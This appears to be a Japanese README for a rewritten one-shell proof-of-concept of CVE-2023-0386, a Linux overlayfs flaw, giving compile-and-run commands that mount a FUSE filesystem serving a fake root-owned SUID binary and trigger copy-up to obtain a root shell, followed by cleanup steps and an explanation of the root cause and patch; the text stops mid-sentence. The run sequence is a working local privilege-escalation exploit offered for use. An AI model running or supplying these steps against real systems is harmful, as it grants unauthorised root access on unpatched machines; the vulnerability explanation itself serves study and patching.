
オリジナルの CVE ソースは xkaneiki によるもの: https://github.com/xkaneiki/CVE-2023-0386/tree/main
エクスプロイトを1つのシェルで実行できるように書き直しました(元のエクスプロイトは2つのシェルが必要です)。
# Compile
make all
# Create mount point for fuse filesystem
mkdir -p /tmp/fusepwn/lower
# Start fuse (which serves a SUID binary)
./fuse /tmp/fusepwn/lower
# Run exploit (which copies fuse's fake SUID binary onto disk with real SUID privs via overlayfs)
./exp
# Run shell
/tmp/fusepwn/upper/bin
クリーンアップ
# unmount fuse filesystem
fusermount -u /tmp/fusepwn/lower
# remove all
rm -rf /tmp/fusepwn
# unmount overlayfs (root only. not required)
umount /tmp/fusepwn/merge
findmnt を使用するfuse.c は /tmp/fusepwn/lower にマウントされた fuse ファイルシステムを作成し、root が所有する偽の SUID バイナリを提供します。これはインメモリファイルシステムであるため、権限セットについて偽ることができます。
次に exp.c は /tmp/fusepwn に overlayfs マウントを作成し、偽の SUID バイナリ (/tmp/fusepwn/lower/bin) を開きます。開かれると、overlayfs が copy-up を実行し、偽の SUID バイナリが実際の SUID 権限を持ち root 所有でディスクに書き込まれます。
この脆弱性は、overlayfs が lower ファイルシステムから提供されるファイル権限を盲目的に信頼することに存在します。lower ファイルシステムがカーネルである場合は問題ありません(root 権限なしでは操作できないため)。lower ファイルシステムをユーザーが操作できる場合は、問題です。FUSE を使用するなどして、そこにあるファイルについて偽ることができるからです。
このパッチは、ファイルの UID/GID がユーザーの名前空間内で有効かどうかをチェックします。有効でない場合、copy-up は失敗します。
つまり、
proc/self/uid_map で 1000 (bob の UID) を 0 (root) にマッピングして、root として新しい名前空間を作成する